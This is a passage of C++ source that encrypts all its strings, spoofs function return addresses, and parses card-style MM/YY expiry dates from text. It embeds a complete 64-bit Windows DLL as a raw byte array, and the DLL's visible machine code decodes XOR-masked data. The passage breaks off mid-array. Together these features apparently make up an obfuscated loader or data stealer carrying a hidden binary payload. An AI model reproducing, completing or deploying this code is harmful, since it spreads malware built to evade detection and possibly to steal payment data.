EC("0428"), EC("042028"), EC("0528"), EC("052028"), EC("0628"), EC("062028"), EC("0728"), EC("072028"), EC("0828"), EC("082028"), EC("0928"), EC("092028"), EC("1028"), EC("102028"), EC("1128"), EC("112028"), EC("1228"), EC("122028"), EC("0129"), EC("012029"), EC("0229"), EC("022029"), EC("0329"), EC("032029"), EC("0429"), EC("042029"), EC("0529"), EC("052029"), EC("0629"), EC("062029"), EC("0729"), EC("072029"), EC("0829"), EC("082029"), EC("0929"), EC("092029"), EC("1029"), EC("102029"), EC("1129"), EC("112029"), EC("1229"), EC("122029"), EC("0130"), EC("012030"), EC("0230"), EC("022030"), EC("0330"), EC("032030"), EC("0430"), EC("042030"), EC("0530"), EC("052030"), EC("0630"), EC("062030"), EC("0730"), EC("072030"), EC("0830"), EC("082030"), EC("0930"), EC("092030"), EC("1030"), EC("102030"), EC("1130"), EC("112030"), EC("1230"), EC("122030"), EC("0131"), EC("012031"), EC("0231"), EC("022031"), EC("0331"), EC("032031"), EC("0431"), EC("042031"), EC("0531"), EC("052031"), EC("0631"), EC("062031"), EC("0731"), EC("072031"), EC("0831"), EC("082031"), EC("0931"), EC("092031"), EC("1031"), EC("102031"), EC("1131"), EC("112031"), EC("1231"), EC("122031"), EC("0132"), EC("012032"), EC("0232"), EC("022032"), EC("0332"), EC("032032"), EC("0432"), EC("042032"), EC("0532"), EC("052032"), EC("0632"), EC("062032"), EC("0732"), EC("072032"), EC("0832"), EC("082032"), EC("0932"), EC("092032"), EC("1032"), EC("102032"), EC("1132"), EC("112032"), EC("1232"), EC("122032"), EC("0133"), EC("012033"), EC("0233"), EC("022033"), EC("0333"), EC("032033"), EC("0433"), EC("042033"), EC("0533"), EC("052033"), EC("0633"), EC("062033"), EC("0733"), EC("072033"), EC("0833"), EC("082033"), EC("0933"), EC("092033"), EC("1033"), EC("102033"), EC("1133"), EC("112033"), EC("1233"), EC("122033") }; std::vector DatesSmall = { EC("124"), EC("12024"), EC("224"), EC("22024"), EC("324"), EC("32024"), EC("424"), EC("42024"), EC("524"), EC("52024"), EC("624"), EC("62024"), EC("724"), EC("72024"), EC("824"), EC("82024"), EC("924"), EC("92024"), EC("125"), EC("12025"), EC("225"), EC("22025"), EC("325"), EC("32025"), EC("425"), EC("42025"), EC("525"), EC("52025"), EC("625"), EC("62025"), EC("725"), EC("72025"), EC("825"), EC("82025"), EC("925"), EC("92025"), EC("126"), EC("12026"), EC("226"), EC("22026"), EC("326"), EC("32026"), EC("426"), EC("42026"), EC("526"), EC("52026"), EC("626"), EC("62026"), EC("726"), EC("72026"), EC("826"), EC("82026"), EC("926"), EC("92026"), EC("127"), EC("12027"), EC("227"), EC("22027"), EC("327"), EC("32027"), EC("427"), EC("42027"), EC("527"), EC("52027"), EC("627"), EC("62027"), EC("727"), EC("72027"), EC("827"), EC("82027"), EC("927"), EC("92027"), EC("128"), EC("12028"), EC("228"), EC("22028"), EC("328"), EC("32028"), EC("428"), EC("42028"), EC("528"), EC("52028"), EC("628"), EC("62028"), EC("728"), EC("72028"), EC("828"), EC("82028"), EC("928"), EC("92028"), EC("129"), EC("12029"), EC("229"), EC("22029"), EC("329"), EC("32029"), EC("429"), EC("42029"), EC("529"), EC("52029"), EC("629"), EC("62029"), EC("729"), EC("72029"), EC("829"), EC("82029"), EC("929"), EC("92029"), EC("130"), EC("12030"), EC("230"), EC("22030"), EC("330"), EC("32030"), EC("430"), EC("42030"), EC("530"), EC("52030"), EC("630"), EC("62030"), EC("730"), EC("72030"), EC("830"), EC("82030"), EC("930"), EC("92030"), EC("131"), EC("12031"), EC("231"), EC("22031"), EC("331"), EC("32031"), EC("431"), EC("42031"), EC("531"), EC("52031"), EC("631"), EC("62031"), EC("731"), EC("72031"), EC("831"), EC("82031"), EC("931"), EC("92031"), EC("132"), EC("12032"), EC("232"), EC("22032"), EC("332"), EC("32032"), EC("432"), EC("42032"), EC("532"), EC("52032"), EC("632"), EC("62032"), EC("732"), EC("72032"), EC("832"), EC("82032"), EC("932"), EC("92032"), EC("133"), EC("12033"), EC("233"), EC("22033"), EC("333"), EC("32033"), EC("433"), EC("42033"), EC("533"), EC("52033"), EC("633"), EC("62033"), EC("733"), EC("72033"), EC("833"), EC("82033"), EC("933"), EC("92033") }; // Function to get expiry from the list std::string GetExpirySmall(const std::string& input) { SPOOF_FUNC; std::string expiry = EC("no"); for (const auto& date : DatesSmall) { if (input.find(date) != std::string::npos) { expiry = date; } } return expiry; } std::string AddSlashAfterSecondCharacter(const std::string& input, bool ss) { SPOOF_FUNC; if (ss) { if (input.length() >= 1) { // Insert a "/" character after the first character return input.substr(0, 1) + EC("/") + input.substr(1); } else { // If the input string is less than 1 character, return it as is return input; } } else { if (input.length() >= 2) { // Insert a "/" character after the second character return input.substr(0, 2) + EC("/") + input.substr(2); } else { // If the input string is less than 2 characters, return it as is return input; } } } std::string DeleteSubstringAndAfter(const std::string& input, const std::string& substringToDelete) { SPOOF_FUNC; size_t index = input.find(substringToDelete); if (index != std::string::npos) { // Remove the substring and anything after it return input.substr(0, index); } else { // If the substring to delete is not found, return the input as is return input; } } std::string RemoveSubstring(std::string input, const std::string& substringToRemove) { SPOOF_FUNC; if (input.empty() || substringToRemove.empty()) { // Handle empty input gracefully. return input; } size_t index = input.find(substringToRemove); if (index != std::string::npos) { // If the substring to remove is found, remove it. input.erase(index, substringToRemove.length()); } return input; } std::string GetExpiry(const std::string& input) { SPOOF_FUNC; std::vector foundExp; // Find dates that are contained within the input string for (const auto& date : Dates) { if (input.find(date) != std::string::npos) { foundExp.push_back(date); } } if (!foundExp.empty()) { std::string expiry = "no"; // Assign the last found expiry date to the variable for (const auto& exp : foundExp) { expiry = exp; } return expiry; } else { return "no"; } } std::vector Delel = { 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFA, 0xF5, 0xE4, 0x6F, 0xBE, 0x94, 0x8A, 0x3C, 0xBE, 0x94, 0x8A, 0x3C, 0xBE, 0x94, 0x8A, 0x3C, 0xB7, 0xEC, 0x19, 0x3C, 0xB4, 0x94, 0x8A, 0x3C, 0xAE, 0x10, 0x89, 0x3D, 0xBD, 0x94, 0x8A, 0x3C, 0xAE, 0x10, 0x8E, 0x3D, 0xB6, 0x94, 0x8A, 0x3C, 0xAE, 0x10, 0x8F, 0x3D, 0xAC, 0x94, 0x8A, 0x3C, 0xAE, 0x10, 0x8B, 0x3D, 0xB8, 0x94, 0x8A, 0x3C, 0xCC, 0x15, 0x8B, 0x3D, 0xB7, 0x94, 0x8A, 0x3C, 0xBE, 0x94, 0x8B, 0x3C, 0x28, 0x94, 0x8A, 0x3C, 0xF5, 0x11, 0x83, 0x3D, 0xBF, 0x94, 0x8A, 0x3C, 0xF5, 0x11, 0x75, 0x3C, 0xBF, 0x94, 0x8A, 0x3C, 0xF5, 0x11, 0x88, 0x3D, 0xBF, 0x94, 0x8A, 0x3C, 0x52, 0x69, 0x63, 0x68, 0xBE, 0x94, 0x8A, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x06, 0x00, 0xAF, 0x29, 0x15, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x20, 0x0B, 0x02, 0x0E, 0x29, 0x00, 0x72, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x6F, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x60, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xB3, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x00, 0xE0, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x00, 0xEC, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0xCC, 0x00, 0x00, 0x00, 0x50, 0x99, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x98, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xD8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0xD3, 0x70, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x36, 0x38, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x00, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x28, 0x0B, 0x00, 0x00, 0x00, 0xD0, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC0, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x07, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0xE0, 0x01, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x71, 0x70, 0x00, 0x00, 0xE9, 0xD4, 0x62, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0xC2, 0x48, 0x8D, 0x0D, 0x85, 0x84, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0x48, 0x8D, 0x53, 0x08, 0x48, 0x89, 0x0B, 0x48, 0x8D, 0x48, 0x08, 0x0F, 0x11, 0x02, 0xFF, 0x15, 0x36, 0x82, 0x00, 0x00, 0x48, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0x51, 0x08, 0x48, 0x8D, 0x05, 0x9D, 0x84, 0x00, 0x00, 0x48, 0x85, 0xD2, 0x48, 0x0F, 0x45, 0xC2, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0x05, 0x27, 0x84, 0x00, 0x00, 0x48, 0x8B, 0xF9, 0x48, 0x89, 0x01, 0x8B, 0xDA, 0x48, 0x83, 0xC1, 0x08, 0xFF, 0x15, 0xD5, 0x81, 0x00, 0x00, 0xF6, 0xC3, 0x01, 0x74, 0x0D, 0xBA, 0x18, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCF, 0xE8, 0x5F, 0x5B, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0xC7, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x05, 0xE1, 0x83, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x83, 0xC1, 0x08, 0x48, 0xFF, 0x25, 0x93, 0x81, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x05, 0x29, 0x84, 0x00, 0x00, 0x48, 0xC7, 0x41, 0x10, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x41, 0x08, 0x48, 0x8D, 0x05, 0xEE, 0x83, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x8B, 0xC1, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x48, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0xC2, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x15, 0xCB, 0xA1, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0xC3, 0x67, 0x00, 0x00, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0xC2, 0x48, 0x8D, 0x0D, 0x65, 0x83, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0x48, 0x8D, 0x53, 0x08, 0x48, 0x89, 0x0B, 0x48, 0x8D, 0x48, 0x08, 0x0F, 0x11, 0x02, 0xFF, 0x15, 0x16, 0x81, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x87, 0x83, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0xC2, 0x48, 0x8D, 0x0D, 0x25, 0x83, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0x48, 0x8D, 0x53, 0x08, 0x48, 0x89, 0x0B, 0x48, 0x8D, 0x48, 0x08, 0x0F, 0x11, 0x02, 0xFF, 0x15, 0xD6, 0x80, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x1F, 0x83, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x8D, 0x0D, 0x6D, 0x83, 0x00, 0x00, 0xFF, 0x15, 0xEF, 0x7E, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x8B, 0x05, 0x63, 0xBE, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x44, 0x24, 0x30, 0x4C, 0x8B, 0xC2, 0xC6, 0x44, 0x24, 0x28, 0x01, 0x48, 0x8D, 0x51, 0x08, 0x4C, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8D, 0x05, 0xAB, 0x82, 0x00, 0x00, 0x48, 0x8B, 0xD9, 0x48, 0x89, 0x01, 0x0F, 0x57, 0xC0, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x0F, 0x11, 0x02, 0xFF, 0x15, 0x5C, 0x80, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x05, 0x85, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xC3, 0x48, 0x8B, 0x4C, 0x24, 0x30, 0x48, 0x33, 0xCC, 0xE8, 0xD2, 0x56, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8D, 0x05, 0xF1, 0x82, 0x00, 0x00, 0x48, 0xC7, 0x41, 0x10, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x41, 0x08, 0x48, 0x8D, 0x05, 0x0E, 0x84, 0x00, 0x00, 0x48, 0x89, 0x01, 0x48, 0x8B, 0xC1, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x48, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0xC2, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x15, 0x63, 0x9F, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xE8, 0x63, 0x66, 0x00, 0x00, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0xC2, 0x48, 0x8D, 0x0D, 0x05, 0x82, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0x48, 0x8D, 0x53, 0x08, 0x48, 0x89, 0x0B, 0x48, 0x8D, 0x48, 0x08, 0x0F, 0x11, 0x02, 0xFF, 0x15, 0xB6, 0x7F, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xA7, 0x83, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x8B, 0x49, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x1D, 0x48, 0x8B, 0x01, 0xFF, 0x50, 0x10, 0x48, 0x85, 0xC0, 0x74, 0x12, 0x4C, 0x8B, 0x00, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x83, 0xC4, 0x28, 0x49, 0xFF, 0x20, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0x8B, 0x41, 0x18, 0x25, 0xFF, 0xF9, 0xFF, 0xFF, 0x0F, 0xBA, 0xE8, 0x0B, 0x89, 0x41, 0x18, 0x48, 0x8B, 0xC1, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xEC, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x6C, 0x24, 0x40, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x8B, 0xFA, 0x48, 0x8B, 0xF1, 0x45, 0x33, 0xF6, 0x48, 0xB8, 0xA6, 0x2B, 0xA9, 0x52, 0x28, 0x60, 0x78, 0x7C, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x10, 0x49, 0xBF, 0x1E, 0xBA, 0x1E, 0xD2, 0x60, 0x34, 0xFF, 0x0B, 0x4C, 0x89, 0x7D, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x18, 0x66, 0x0F, 0x6F, 0x4D, 0x10, 0xF3, 0x0F, 0x6F, 0x05, 0xBD, 0x83, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4D, 0x10, 0x48, 0x8D, 0x4D, 0x10, 0x48, 0xC7, 0xC3, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xC3, 0x48, 0xFF, 0xC0, 0x44, 0x38, 0x34, 0x01, 0x75, 0xF7, 0x4C, 0x8B, 0x42, 0x10, 0x48, 0x8B, 0xCF, 0x48, 0x83, 0x7A, 0x18, 0x0F, 0x76, 0x03, 0x48, 0x8B, 0x0A, 0x4C, 0x3B, 0xC0, 0x0F, 0x85, 0xE3, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x55, 0x10, 0xE8, 0x90, 0x66, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0xD2, 0x02, 0x00, 0x00, 0xC7, 0x06, 0xE0, 0x60, 0x88, 0x70, 0xC7, 0x46, 0x04, 0x41, 0xF6, 0x11, 0x46, 0xC7, 0x46, 0x08, 0x88, 0x95, 0x7D, 0x86, 0xC7, 0x46, 0x0C, 0x7D, 0xD3, 0x67, 0x5B, 0xC7, 0x46, 0x10, 0xCF, 0xBE, 0x3A, 0x46, 0xC7, 0x46, 0x14, 0x0D, 0x41, 0x7F, 0x40, 0xC7, 0x46, 0x18, 0x8A, 0xF5, 0x0D, 0xF3, 0xC7, 0x46, 0x1C, 0x5A, 0x00, 0x5C, 0xC8, 0x48, 0x8D, 0x4E, 0x20, 0x48, 0xB8, 0x86, 0x79, 0x87, 0x6D, 0x37, 0x6A, 0x1F, 0x0E, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x7F, 0xD7, 0x3E, 0x94, 0x09, 0x58, 0x9A, 0x78, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x28, 0x48, 0xB8, 0xEB, 0x01, 0xFB, 0x92, 0x34, 0x52, 0x02, 0x24, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x30, 0x48, 0xB8, 0x23, 0x89, 0x32, 0x56, 0xAB, 0x19, 0xEB, 0xDB, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x49, 0xBA, 0xD5, 0xC2, 0x92, 0xB9, 0xD9, 0x9B, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x5D, 0xBC, 0x89, 0x87, 0x14, 0xE3, 0x1B, 0x1A, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xB8, 0x9E, 0x08, 0x4E, 0x7B, 0x0A, 0x1A, 0x2A, 0xE4, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x50, 0x48, 0xB8, 0x14, 0x30, 0x6C, 0xB4, 0xA2, 0x28, 0x83, 0x9F, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x58, 0x66, 0x0F, 0x6F, 0x45, 0x20, 0x0F, 0x57, 0x05, 0xC4, 0x82, 0x00, 0x00, 0x66, 0x0F, 0x7F, 0x45, 0x20, 0x66, 0x0F, 0x6F, 0x4D, 0x30, 0x0F, 0x57, 0x0D, 0xC3, 0x82, 0x00, 0x00, 0x66, 0x0F, 0x7F, 0x4D, 0x30, 0x66, 0x0F, 0x6F, 0x45, 0x40, 0x0F, 0x57, 0x05, 0xC2, 0x82, 